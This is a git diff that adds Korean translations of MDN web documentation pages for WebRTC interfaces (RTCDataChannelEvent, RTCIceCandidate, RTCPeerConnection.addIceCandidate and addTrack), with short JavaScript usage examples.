+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-RTCDataChannelEvent-channel', 'RTCDataChannelEvent.channel') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCDataChannelEvent.channel")}}

+ +

See also

+ + diff --git a/files/ko/web/api/rtcdatachannelevent/index.html b/files/ko/web/api/rtcdatachannelevent/index.html new file mode 100644 index 0000000000..0c9a390225 --- /dev/null +++ b/files/ko/web/api/rtcdatachannelevent/index.html @@ -0,0 +1,77 @@ +--- +title: RTCDataChannelEvent +slug: Web/API/RTCDataChannelEvent +translation_of: Web/API/RTCDataChannelEvent +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCDataChannelEvent() 생성자는 {{domxref("datachannel")}}을 나타내는 신규 {{domxref("RTCDataChannelEvent")}} 객체를 반환합니다. 이 이벤트는 두 피어 사이에서 원격 피어가 {{domxref("RTCDataChannel")}}을 개통하도록 요청되었을때, {{domxref("RTCPeerConnection")}} 에 전달됩니다. 

+ +

WebRTC가 적절한 시기에 생성하고 전달해주기 때문에, RTCDataChannelEvent를 직접 생성하는 일은 매우 드물 것입니다. RTCPeerConnection에 의해 {{domxref("RTCPeerConnection.datachannel_event", "datachannel")}} 이벤트가 받아지는지를 감청하고, 해당 이벤트를 받으면 {{domxref("RTCDataChannelEvent.channel")}} 속성을 사용해서 개통된 데이터 채널에 대한 권한을 얻는 것이 일반적입니다.

+ +

생성자

+ +
+
{{domxref("RTCDataChannelEvent.RTCDataChannelEvent()", "RTCDataChannelEvent()")}}
+
새로운 RTCDataChannelEvent을 생성하는 RTCDataChannelEvent() 생성자입니다.
+
+ +

속성

+ +

Event의 속성을 상속합니다.

+ +
+
{{domxref("RTCDataChannelEvent.channel")}} {{readOnlyInline}}
+
읽기 속성인 RTCDataChannelEvent.channel는 이벤트와 관련된 RTCDataChannel를 반환합니다. 
+
+ +

메소드

+ +

이 인터페이스에는 메소드가 존재하지 않습니다. 대신, Event의 메소드를 상속합니다.

+ +

예시

+ +

아래의 예제에서는 datachannel 이벤트 핸들러를 설정해서 데이터 채널의 참조된 정보를 저장하고, 모니터링 할 이벤트들에 대한 핸들러를 새로 설정합니다. {{domxref("RTCDataChannelEvent.channel", "channel")}} 속성은 다른 피어와의 연결을 나타내는 {{domxref("RTCDataChannel")}}을 제공합니다.

+ +
pc.ondatachannel = function(event) {
+  inboundDataChannel = event.channel;
+  inboundDataChannel.onmessage = handleIncomingMessage;
+  inboundDataChannel.onopen = handleChannelOpen;
+  inboundDataChannel.onclose = handleChannelClose;
+}
+
+ +

데이터 채널을 어떤 방식으로 사용하는지에 대한 더 좋은 예제는 A simple RTCDataChannel sample를 확인하십시오.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#idl-def-RTCDataChannelEvent', 'RTCDataChannelEvent') }}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCDataChannelEvent")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html b/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html new file mode 100644 index 0000000000..42fcbbe4dc --- /dev/null +++ b/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html @@ -0,0 +1,75 @@ +--- +title: RTCDataChannelEvent() +slug: Web/API/RTCDataChannelEvent/RTCDataChannelEvent +translation_of: Web/API/RTCDataChannelEvent/RTCDataChannelEvent +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCDataChannelEvent() 생성자는 새로운 {{domxref("RTCDataChannelEvent")}}를 생성합니다.

+ +
+

이 이벤트는 알아서 WebRTC 레이어에 생성되고 전달되기 때문에, RTCDataChannelEvent를 수동으로 생성하는 일은 거의 없습니다.

+
+ +

Syntax

+ +
 var event = new RTCDataChannelEvent(type, RtcDataChannelEventInit);
+ +

패러미터

+ +
+
type
+
이벤트의 이름을 알려주는 {{domxref("DOMString")}}입니다. 이름은 RTCDataChannelEvent 타입의 한 종류인 "datachannel" 딱 한 가지만 존재합니다.
+
RtcDataChannelEventInit
+
아래의 필드를 가지는 RTCDataChannelEventInit 딕셔너리 입니다: +
    +
  • "channel"은 {domxref("RTCDataChannel")}}의 한 종류로, 이벤트에 의해 데이터 채널이 확인되었다는 것을 알려줍니다.
  • +
  • "bubbles"은 옵션으로 설정이 가능하며, EventInit에서 상속됩니다. 이는 해당 이벤트가 무조건 bubble이 되어야하는지의 여부를 알려줍니다. 기본 값은 false입니다
  • +
  • "cancelable"은 옵션으로 설정이 가능하며, EventInit에서 상속됩니다. 이는 해당 이벤트가 취소 될 수 있는지의 여부를 알려줍니다. 기본 값은 false입니다.
  • +
+
+
+ +

+ +

명시한대로 설정된 신규 {{domxref("RTCDataChannelEvent")}} 입니다.

+ +

예시

+ +

아래 예제는 신규 {{event("datachannel")}}를 생성합니다. dc는 이미 존재하는 데이터 채널을 뜻합니다.

+ +
var event = new RTCDataChannelEvent("datachannel", {"channel": dc});
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-RTCDataChannelEvent', 'RTCDataChannelEvent') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCDataChannelEvent.RTCDataChannelEvent")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcicecandidate/candidate/index.html b/files/ko/web/api/rtcicecandidate/candidate/index.html new file mode 100644 index 0000000000..e4d0f253a5 --- /dev/null +++ b/files/ko/web/api/rtcicecandidate/candidate/index.html @@ -0,0 +1,84 @@ +--- +title: RTCIceCandidate.candidate +slug: Web/API/RTCIceCandidate/candidate +translation_of: Web/API/RTCIceCandidate/candidate +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCIceCandidate")}} 인터페이스에 대한 읽기 속성인 candidate는 candidate에 대해 자세히 설명해주는 {{domxref("DOMString")}}를 반환합니다. 

+ +

RTCIceCandidate의 거의 모든 다른 속성들은 사실 이 문자열에서 가져와진 것입니다.

+ +

이 속성은 {{domxref("RTCIceCandidate.RTCIceCandidate", "RTCIceCandidate()")}}를 사용해서 신규 candidate 객체를 구성 할 때, {{domxref("RTCIceCandidateInit.candidate", "candidate")}} 속성의 값을 지정해서 설정 할 수 있습니다.

+ +

Syntax

+ +
var candidate = RTCIceCandidate.candidate;
+ +

+ +

반환되는 {{domxref("DOMString")}} 값은 {{Glossary("SDP")}}의 속성인 "candidate"에서 직접 가져와진 candidate의 속성에 대해 알려줍니다. candidate 문자열은 해당 candidate에 대한 네트워크 연결 정보를 명시합니다. candidate가 빈 문자열 ("")이라면, 더 이상 남아있는 candidate가 없다는 뜻입니다. 빈 문자열은 "candidate 종료" 표시자로도 알려져있습니다.

+ +

candidate 문자열에 대한 구문은 {{RFC(5245, "", 15.1)}}에 설명되어있습니다. 

+ +
a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host
+ +

위와 같은 a-line (속성 line)에서 해당하는 candidate 문자열의 값은 "candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host"가 됩니다.

+ +

{{Glossary("user agent")}}는 항상 가장 높거나 같은 {{domxref("RTCIceCandidate.priority", "priority")}}를 가진 candidate를 선호합니다. 위의 예시에서, 우선 순위는 2043278322 입니다. 속성은 단일 스페이스로 특정한 순서가 있습니다. 위의 candidate에 대한 전체 속성 리스트는 다음과 같습니다:

+ + + +

예시

+ +

아래 예제에서는 시그널링 과정에서 원격 유저에게서 수신 받은 ICE candidate 정보를 가진 SDP 문자열을 입력으로 받는 함수입니다. 

+ +
function handleNewIceCandidate(candidateSDP) {
+  var candidateObj = new RTCIceCandidate(candidateSDP);
+
+  myPeerConnection.addIceCandidate(candidateObj).catch({
+    /* handle the error thrown by addIceCandidate() */
+  });
+}
+ +

handleNewIceCandidate() 함수는 수신 받은 candidate의 SDP 문자를 {{domxref("RTCIceCandidate.RTCIceCandidate", "RTCIceCandidate()")}}에 보내고, candidate를 알려주는 {{domxref("RTCIceCanddiate")}} 객체를 반환 받습니다.

+ +

그 후, 신규 candidatesms {{domxref("RTCPeerConnection.addIceCandidate()")}}에 전달되서 candidate의 리스트에 추가해서 WebRTC가 연결 설정으로 사용 하도록 고려합니다. 

+ +

위 예제는 더 간단하게 표현 될 수 있습니다. ECMAScript 2016의 고급 기능들을 사용해서 아래와 같이 나타낼 수 있습니다:

+ +
let handleNewIceCandidate = candidateSDP =>
+  myPeerConnection.addIceCandidate(new RTCIceCandidate(candidateSDP));
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#dom-rtcicecandidate-candidate', 'RTCIceCandidate.candidate')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCIceCandidate.candidate")}}

+
diff --git a/files/ko/web/api/rtcicecandidate/index.html b/files/ko/web/api/rtcicecandidate/index.html new file mode 100644 index 0000000000..fe5e3bc9ce --- /dev/null +++ b/files/ko/web/api/rtcicecandidate/index.html @@ -0,0 +1,90 @@ +--- +title: RTCIceCandidate +slug: Web/API/RTCIceCandidate +translation_of: Web/API/RTCIceCandidate +--- +
{{APIRef("WebRTC")}}
+ +

RTCIceCandidate 인터페이스는 WebRTC API의 한 종류로서, {{domxref("RTCPeerConnection")}}을 구축 할 때 사용되기도하는 Internet Connectivity Establishment ({{Glossary("ICE")}})의 후보군 (candidate)를 말합니다.

+ +

하나의 ICE candidate는 WebRTC가 원격 장치와 통신을 하기 위해 요구되는 프로토콜과 라우팅에 대해 알려줍니다. WebRTC 피어 연결을 처음 시작하게되면, 일반적으로 여러개의 candiate들이 연결의 각 end에 의해 만들어집니다. 그리고 이 과정은 로컬 유저와 원격 유저가 연결을 위해 최고의 방법을 서로의 동의하에 선택하기 전까지 계속 됩니다. 이후에 WebRTC가 선택한 candidate를 사용해서 연결을 시도하게됩니다. 

+ +

ICE 과정이 어떻게 동작하는지 자세히 알고 싶다면, Lifetime of a WebRTC session을 확인해보십시오.이외에도 WebRTC connectivity에서는 유용한 추가 정보를 제공합니다.

+ +

생성자

+ +
+
{{domxref("RTCIceCandidate.RTCIceCandidate()","RTCIceCandidate()")}}
+
단일 ICE candidate를 나타내기 위해 RTCIceCandidate 객체를 생성합니다. 옵션으로 {{domxref("RTCIceCandidateInit")}} 딕셔너리에 존재하는 객체를 이용해 설정이 가능합니다. +
Note: 이전 버전의 호환성을 위해서는, 생성자가 {{domxref("RTCIceCandidate.candidate", "candidate")}} 속성의 값을 가진 문자열을 {{domxref("RTCIceCandidateInit")}} 객체 대신에 입력 인자로 받습니다. 이는 candidateRTCIceCandidateInit보다 더 많은 정보를 가지고 있기 때문입니다.
+
+
+ +

속성

+ +
+
{{domxref("RTCIceCandidate.candidate", "candidate")}} {{readonlyInline}}
+
연결성 확인을 위해 사용 될 수 있는 candidate에 대한 전달 주소를 나타내는 {{domxref("DOMString")}}입니다. 이 주소의 형식은 {{RFC(5245)}}에 정의된바와 같이 candidate-attribute 입니다. RTCIceCandidate가 "마지막 candidate"를 알려주면, 이 문자열은 빈 문자열 ("")이 됩니다.
+
{{domxref("RTCIceCandidate.component", "component")}} {{ReadOnlyInline}}
+
ICE candidate가 RTP (rtp) 인지 RTCP (rtcp)인지 알려주는 {{domxref("DOMString")}}입니다. 이 값들은 candidate 라인 문자열에 있는 "component-id" 필드에서 가져와집니다. 허용되는 값은 {{domxref("RTCIceComponent")}} enum 타입에 정리되어있습니다.
+
{{domxref("RTCIceCandidate.foundation", "foundation")}} {{readonlyInline}}
+
같은  유형의 candidate와 동일한 식별자를 가진 {{domxref("DOMString")}}를 반환합니다. {{domxref("DOMString")}}는 동일한 베이스 (ICE 에이전트가 candidate를 보낸 주소)를 공유하고, 동일한 {{Glossary("STUN")}}서버에서 가져와집니다. 이 속성을 사용해서 {{domxref("RTCIceTransport")}}객체에 나타나는 candidate의 우선 순위를 매기고 연관을 시키면서 ICE 성능을 최적화 할 수 있습니다. 
+
{{domxref("RTCIceCandidate.ip", "ip")}} {{readonlyInline}}
+
candidate의 IP 주소를 가지고 있는 {{domxref("DOMString")}}입니다.
+
{{domxref("RTCIceCandidate.port", "port")}} {{readonlyInline}}
+
candidate의 포트 넘버를 알려주는 정수 값 입니다.
+
{{domxref("RTCIceCandidate.priority", "priority")}} {{readonlyInline}}
+
candidate의 우선순위를 알려주는 long 정수 값 입니다.
+
{{domxref("RTCIceCandidate.protocol", "protocol")}} {{readonlyInline}}
+
candidate의 프로토콜이 "tcp"인지 "udp"인지 알려주는 문자열입니다. 이 문자열은 RTCIceProtocol enum 타입 중 하나 입니다.
+
{{domxref("RTCIceCandidate.relatedAddress", "relatedAddress")}} {{readonlyInline}}
+
candidate가 다른 candidate, 즉 호스트 candidate에서 가져와졌다면, relatedAddress는 호스트 candidate의 IP 주소를 포함하는 {{domxref("DOMString")}}입니다. 호스트 candidate에서 이 값은 null 입니다.
+
{{domxref("RTCIceCandidate.relatedPort", "relatedPort")}} {{readonlyInline}}
+
candidate가 relay 혹은 reflexive candidate로 부터 가져와진 경우, relatedPort는 해당하는 호스트 candidate의 포트 넘버를 가르킵니다. 마찬가지로, 호스트 candidate에서 이 값은 null 입니다.
+
{{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} {{readonlyInline}}
+
candidate의 미디어 스트림 식별 태그를 정의하는 {{domxref("DOMString")}}입니다. 여기서 식별 태그는 candidate와 연관이 있는 컴포넌트안의 미디어 스트림을 유일하게 식별합니다. candidate와 관련이 있는 미디어 스트림이 존재하지 않으면, 이 값은 null 입니다.
+
{{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}} {{readonlyInline}}
+
이 값이 null이 아니라면, sdpMLineIndex는 candidate와 연관 된 {{Glossary("SDP")}}의 미디어 설명에 대한, 0을 기준으로 하는 색인 번호를 알려줍니다 (RFC 4566에 정의되어 있습니다.). 
+
{{domxref("RTCIceCandidate.tcpType", "tcpType")}} {{readonlyInline}}
+
protocol"tcp"라면,tcpType은 TCP candidate의 타입을 알려줍니다. 이외에는 tcpTypenull 입니다.
+
{{domxref("RTCIceCandidate.type", "type")}} {{readonlyInline}}
+
{{domxref("RTCIceCandidateType")}} enum 타입에 존재하는 문자열에 속하는 candidate의 타입을 알려주는 {{domxref("DOMString")}}입니다. 
+
{{domxref("RTCIceCandidate.usernameFragment", "usernameFragment")}} {{ReadOnlyInline}}
+
ICE가 무작위로 생성된 비밀번호 ("ice-pwd") 와 함께 메세지의 무결성을 확인하기 위해 사용하는 무작위로 생성된 유저 이름 조각 ("ice-ufrag")을 가지고 있는 {{domxref("DOMString")}}입니다. 이 문자열을 사용해서 ICE 생성의 버전을 확인 할 수 있습니다. ICE가 재시작하더라도, 같은 버전의 ICE 프로세스는 동일한 usernameFragment를 가지게 됩니다.
+
+ +

메소드

+ +
+
{{domxref("RTCIceCandidate.toJSON", "toJSON()")}}
+
toJSON()RTCIceCandidate의 현재 저장된 설정을 담은 {{Glossary("JSON")}} 표현식을 {{domxref("RTCIceCandidateInit")}} 객체의 형태로 변환시킨 {{domxref("DOMString")}}를 반환합니다.
+
+ +

예시

+ +

예시를 보려면, 전체 과정을 설명해주는 Signaling and video calling문서를 확인하십시오.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#rtcicecandidate-interface', 'RTCIceCandidate')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCIceCandidate")}}

+
diff --git a/files/ko/web/api/rtcicecandidate/tojson/index.html b/files/ko/web/api/rtcicecandidate/tojson/index.html new file mode 100644 index 0000000000..5b222fc286 --- /dev/null +++ b/files/ko/web/api/rtcicecandidate/tojson/index.html @@ -0,0 +1,49 @@ +--- +title: RTCIceCandidate. toJSON() +slug: Web/API/RTCIceCandidate/toJSON +translation_of: Web/API/RTCIceCandidate/toJSON +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCIceCandidate")}} 메소드인 toJSON()은 JSON 형식으로 호출된 RTCIceCandidate를 {{domxref("RTCIceCandidateInit")}} 객체 형식으로 변환합니다. .

+ +

Syntax

+ +
json = RTCIceCandidate.toJSON();
+ +

반환 값

+ +

{{domxref("RTCIceCandidateInit")}} 딕셔너리에 상응하는 객체로, RTCIceCandidate 객체의 해당하는 값으로 설정됩니다.

+ +

반환된 객체에 대한 문자열화된 버전의 객체는 {{jsxref("JSON.stringify", "stringify()")}}를 호출해서 가져올 수 있습니다. 아래의 {{anch("Example", "예시")}}를 참조하십시오.

+ +

예시

+ +

아래의 샘플 코드는 candidate 변수의 RTCIceCandidate를 나타내는 JSON 문자열을 가져옵니다.

+ +
var jsonString = candidate.toJSON().stringify();
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#dom-rtcicecandidate-tojson', 'RTCIceCandidate.toJSON()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCIceCandidate.toJSON")}}

+
diff --git a/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html b/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html new file mode 100644 index 0000000000..9062abc861 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html @@ -0,0 +1,148 @@ +--- +title: RTCPeerConnection.addIceCandidate() +slug: Web/API/RTCPeerConnection/addIceCandidate +translation_of: Web/API/RTCPeerConnection/addIceCandidate +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCPeerConnection")}}을 사용하는 웹이나 앱이 신규 ICE candidate를 signaling 채널을 통해 원격 유저로부터 수신하게되면, RTCPeerConnection.addIceCandidate()를 호출해서 브라우저의 {{Glossary("ICE")}} 에이전트에게 새로 수신한 candidate를 전달합니다. 이 메소드는 RTCPeerConnection의 원격 설명 (remote description)에 연결의 원격쪽 상태를 설명해주는 신규 원격 candidate를 추가합니다. 

+ +

addIceCandidate() 호출시 candidate 매개변수가 존재하지 않거나 값이 null인 경우에, 추가된 ICE candidate는 "candidate 종료"를 알려줍니다. 지정한 객체의{{domxref("RTCIceCandidate.candidate", "candidate")}} 값이 존재하지 않거나, 빈 문자열 ("")인 경우에도 원격 candidate들이 모두 전달되었음을 알려줍니다. 

+ +

"candidate 종료" 알림은 a-line 값의 end-of-candidates를 가진 candidate와 함께 원격 유저에 송신됩니다.

+ +

네고시에이션 중에 앱이 위의 방법처럼 ICE 에이전트에 전달할 다수의 candidate를 수신 받을 수 있고, 이는 가능한 연결 방법들의 리스트를 만들 수 있도록 도와줍니다. 자세한 내용은 WebRTC connectivitySignaling and video calling를 참고하십시오.

+ +

Syntax

+ +
aPromise = pc.addIceCandidate(candidate);
+
+addIceCandidate(candidate, successCallback, failureCallback); {{deprecated_inline}}
+
+ +

매개변수

+ +
+
candidate {{optional_inline}}
+
+

{{domxref("RTCIceCandidateInit")}} 딕셔너리 혹은 {{domxref("RTCIceCandidate")}} 객체에 해당하는 객체입니다. 이 객체의 내용은 signaling 채널을 통해 수신 받은 메세지로 구성되어야합니다. 메세지는 이미 로컬 ICE 에이전트에 전달 될 준비가 된 새로 수신받은 ICE candidate를 설명합니다.

+ +

candidate 객체가 지정되어있지 않거나, null이라면, "candidate 종료" 신호가 end-of-candidates a-line을 사용해서 원격 유저에게 전달됩니다. a-line의 형식은 아래와 같습니다:

+ +
a=end-of-candidates
+
+
+ +

더 이상 사용되지 않는 변수 (Deprecated)

+ +

이전 버전의 문서에서는 이 함수를 콜백 기반으로 사용하도록 되어있습니다. 콜백 기반 함수는 이제 더 이상 사용되지 않으며, 사용하지 않는 것을 권장합니다. 이미 사용 중이라면, {{jsxref("Promise")}} 버전인 addIceCandidate()를 사용하도록 코드를 업데이트 하십시오. 이전 버전의 코드를 업데이트 하는 것을 쉽게 하기 위해 고안된 addIceCandidate()의 특정 변수에 대해 아래에서 설명합니다.

+ +
+
successCallback {{deprecated_inline}}
+
ICE candidate가 성공적으로 추가되었을 때에 호출되는 함수입니다. 이 함수는 입력 변수가 없으며, 아무런 값도 반환하지 않도록 되어있습니다. 
+
failureCallback {{deprecated_inline}}
+
ICE candidate 추가 시도가 실패하면 호출되는 함수입니다. 실패에 대한 이유를 설명하는 객체인 {{domxref("DOMException")}}을 입력 변수로 받습니다.
+
+ +

반환 값

+ +

{{jsxref("Promise")}}는 candidate가 ICE 에이전트에 의해 원격 유저의 설명 (description)에 성공적으로 추가되면 fulfilled 됩니다. 프로미스는 입력 변수가 없습니다.

+ +

예외 처리

+ +

ICE candidate 추가 시도 중 에러가 발생하면, 이 메소드에서 반환되는 {{jsxref("Promise")}}는 거절됩니다. 그리고 거절 핸들러로 전달되는 지정된 {{domxref("DOMException")}} 객체안에 존재하는 {{domxref("DOMException.name", "name")}} 속성으로 아래의 에러 중 하나를 반환하게 됩니다.

+ +
+
TypeError
+
명시한 candidate의 {{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} 및{{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}}가 모두 null 입니다.
+
InvalidStateError
+
현재 RTCPeerConnection은 어떠한 원격 유저와도 연결이 되어있지 않습니다. {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} 값이 null입니다.
+
OperationError
+
이 에러는 여러가지 이유 때문에 발생합니다: +
    +
  • 지정된 {{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} 값이 non-null이고, {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}}안에 존재하는 어떠한 미디어 description의 미디어 ID와도 일치하지 않음
  • +
  • 지정된 {{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}}의 값이 원격 설명 (description)에 포함된 미디어의 숫자와 같거나 큼
  • +
  • 지정된 {{domxref("RTCIceCandidate.usernameFragment", "ufrag")}}가 어떠한 원격 설명 (description) 안의 ufrag 필드와 일치하지 않음
  • +
  • {{domxref("RTCIceCandidate", "candidate")}} 문자열에 존재하는 하나 혹은 여러개의 값들이 올바르지 않거나, 파싱 될 수 없음
  • +
  • 어떠한 이유에서던 candidate를 추가하려는 시도가 실패 
  • +
+
+
+ +

예시

+ +

아래의 코드는 임의의 signaling 채널을 통해 어떻게 ICE candidate를 알리는지를 보여줍니다.

+ +
// 본 예제는 다른 유저가 아래와 같은 signaling 채널을 사용한다고 가정합니다:
+//
+// pc.onicecandidate = event => {
+//   if (event.candidate) {
+//     signalingChannel.send(JSON.stringify({ice: event.candidate})); // "ice" is arbitrary
+//   } else {
+//     // All ICE candidates have been sent
+//   }
+// }
+
+signalingChannel.onmessage = receivedString => {
+  const message = JSON.parse(receivedString);
+  if (message.ice) {
+    // A typical value of ice here might look something like this:
+    //
+    // {candidate: "candidate:0 1 UDP 2122154243 192.168.1.9 53421 typ host", sdpMid: "0", ...}
+    //
+    // Pass the whole thing to addIceCandidate:
+
+    pc.addIceCandidate(message.ice).catch(e => {
+      console.log("Failure during addIceCandidate(): " + e.name);
+    });
+  } else {
+    // handle other things you might be signaling, like sdp
+  }
+}
+ +

원격 유저에 의해 이러한 방식으로 신호를 전달한 마지막 candiate는 "candidate 종료"를 나타내는 특수한 candidate가 됩니다. "candidate 종료"를 수동으로 설정하려면 다음과 같이 하면 됩니다:

+ +
pc.addIceCandidate({candidate:''});
+
+ +

하지만, 대부분의 경우 {{domxref("RTCPeerConnection")}}가 적절한 이벤트를 보내서 처리해주기 때문에 이를 수동으로 확인해야 할 필요는 없습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-addIceCandidate-Promise-void--RTCIceCandidateInit-RTCIceCandidate-candidate', 'RTCPeerConnection.addIceCandidate()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
{{SpecName("WebRTC 1.0", "#widl-RTCPeerConnection-addIceCandidate-void-RTCIceCandidateInit-RTCIceCandidate-candidate-VoidFunction-successCallback-RTCPeerConnectionErrorCallback-failureCallback", "RTCPeerConnection.addIceCandidate()")}} {{deprecated_inline}}{{Spec2("WebRTC 1.0")}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.addIceCandidate")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/addtrack/index.html b/files/ko/web/api/rtcpeerconnection/addtrack/index.html new file mode 100644 index 0000000000..50a493a188 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/addtrack/index.html @@ -0,0 +1,208 @@ +--- +title: RTCPeerConnection.addTrack() +slug: Web/API/RTCPeerConnection/addTrack +translation_of: Web/API/RTCPeerConnection/addTrack +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCPeerConnection")}}의 메소드인 addTrack()은 다른 유저에게 전송될 트랙들의 묶음에 신규 미디어 트랙을 추가합니다.

+ +
+

참조: 연결 인터페이스에 트랙을 추가하게되면, {{event("negotiationneeded")}} 이벤트를 발생시켜 renegotiation을 하게 만듭니다. 자세한 사항은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling", "Starting negotiation")}} 를 참조하십시오.

+
+ +

Syntax

+ +
rtpSender = RTCPeerConnection.addTrack(track, stream...);
+ +

매개변수

+ +
+
track
+
피어 연결에 추가될 미디어 트랙을 나타내는 {{domxref("MediaStreamTrack")}} 객체입니다.
+
stream... {{optional_inline}}
+
트랙이 추가 되어야하는 하나 혹은 여러개의 로컬 {{domxref("MediaStream")}} 객체입니다.
+
+ +

지정된 track 는 꼭 지정된 streams의 일부가 아니여도 됩니다. streams은 단지 연결을 받는 쪽에서 트랙을 그룹으로 묶고 동기화하는 방법입니다. 연결의 로컬 쪽에 존재하는 동일한 stream에 추가된 트랙들은 원격 쪽에서 같은 stream에 존재하게됩니다. 

+ +

반환 값

+ +

{{domxref("RTCRtpSender")}} 객체는 미디어 데이터를 전송하기위해 사용됩니다. 

+ +
+

참조: 모든 RTCRtpSender는 {{domxref("RTCRtpTransceiver")}}를 구성하기 위해서 {{domxref("RTCRtpReceiver")}}와 함께 짝을 이룹니다.  관련이 있는 리시버는 원격 유저가 리시버에 하나 혹은 여러개의 스트림을 추가하지 않는 이상 mute 상태입니다. mute 상태에서는 패킷을 전달 할 수 없습니다. 

+
+ +

예외처리

+ +
+
InvalidAccessError
+
지정한 트랙 (혹은 모든 스트림)이 이미 {{domxref("RTCPeerConnection")}}의 일부임을 알려줍니다.
+
InvalidStateError
+
{{domxref("RTCPeerConnection")}}가 이미 종료되었음을 알려줍니다.
+
+ +

사용법

+ +

여러개의 스트림에 트랙 추가하기

+ +

addTrack() 메소드는 trackstreams을 매개변수로 받습니다. track 매개변수를 정의한 다음에, 하나 혹은 여러개의 {{domxref("MediaStream")}} 객체를 지정해서 트랙을 어디에 추가 할지 지정이 가능합니다. 이때, 스트림이 아니라 트랙만 다른 유저에게 전달됩니다. 스트림은 각 유저별로 특정되어있기 때문에, 하나 혹은 여러개의 스트림을 지정한다는 것은 트랙을 받는 유저가 연결의 다른 쪽에 해당하는 스트림을 자동으로 생성할 것이라는 뜻입니다. 그리고나서 받은 트랙을 자동으로 해당 스트림에 추가하게 됩니다. 

+ +

스트림이 없는 트랙

+ +

스트림을 명시하지 않으면, 해당 트랙은 streamless 상태입니다. 트랙을 어느 스트림에 추가 할지는 원격유저가 결정하지만, 이대로 사용해도 문제는 없습니다.  streamless 트랙은 addTrack()을 가장 손쉽게 사용하는 방법으로, 하나의 스트림만 필요한 아주 간단한 어플케이션을 만드는데 사용됩니다. 예를 들자면,오디오와 비디오 트랙이 존재하는 단일 스트림을 원격 유저와 공유하고 싶은 경우, 어떤 스트림에 무슨 트랙이 있는지 관리 할 필요 없이 트랜시버 (transceiver)가 처리하도록 맡길 수 있습니다. 

+ +

아래 예시는 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}를 사용해서 유저의 카메라와 마이크에서 스트림을 가져오는 함수입니다. 그리고 각각의 트랙에 대한 스트림을 지정하지 않고, 스트림에서 피어 연결로 각 트랙을 추가합니다: 

+ +
// 비동기 함수 정의
+async openCall(pc) {
+  // getUserMedia는 비동기적으로 처리됨
+  const gumStream = await navigator.mediaDevices.getUserMedia(
+                          {video: true, audio: true});
+  for (const track of gumStream.getTracks()) {
+    // 스트림을 따로 지정하지 않고, 트랙을 추가
+    pc.addTrack(track);
+  }
+}
+ +

위 함수의 결과로 트랙 묶음이 스트림 없이 원격 유저에게 전달됩니다. 모든 트랙들이 동일한 스트림에 추가된다 하더라도, 원격 유저의 {{event("track")}}이벤트 핸들러가 각 트랙을 어느 스트림에 추가 할지를 결정합니다. {{domxref("RTCPeerConnection.ontrack", "ontrack")}} 핸들러는 아래와 같이 작성 될 수 있습니다:

+ +
let inboundStream = null;
+
+pc.ontrack = ev => {
+  if (ev.streams && ev.streams[0]) {
+    videoElem.srcObject = ev.streams[0];
+  } else {
+    if (!inboundStream) {
+      inboundStream = new MediaStream();
+      videoElem.srcObject = inboundStream;
+    }
+    inboundStream.addTrack(ev.track);
+  }
+}
+ +

여기서 track 이벤트 핸들러는 스트림을 명시한 경우, 이 이벤트에서 명시한 첫 번째 스트림에 트랙을 추가합니다. 그렇지 않은 경우에는 ontrack이 처음 호출되는 순간에 신규 스트림이 생성되고 비디오 엘리먼트에 부착된 다음에서야 트랙이 신규 스트림에 추가됩니다. 이때부터 신규 랙이 해당 스트림에 추가됩니다.

+ +

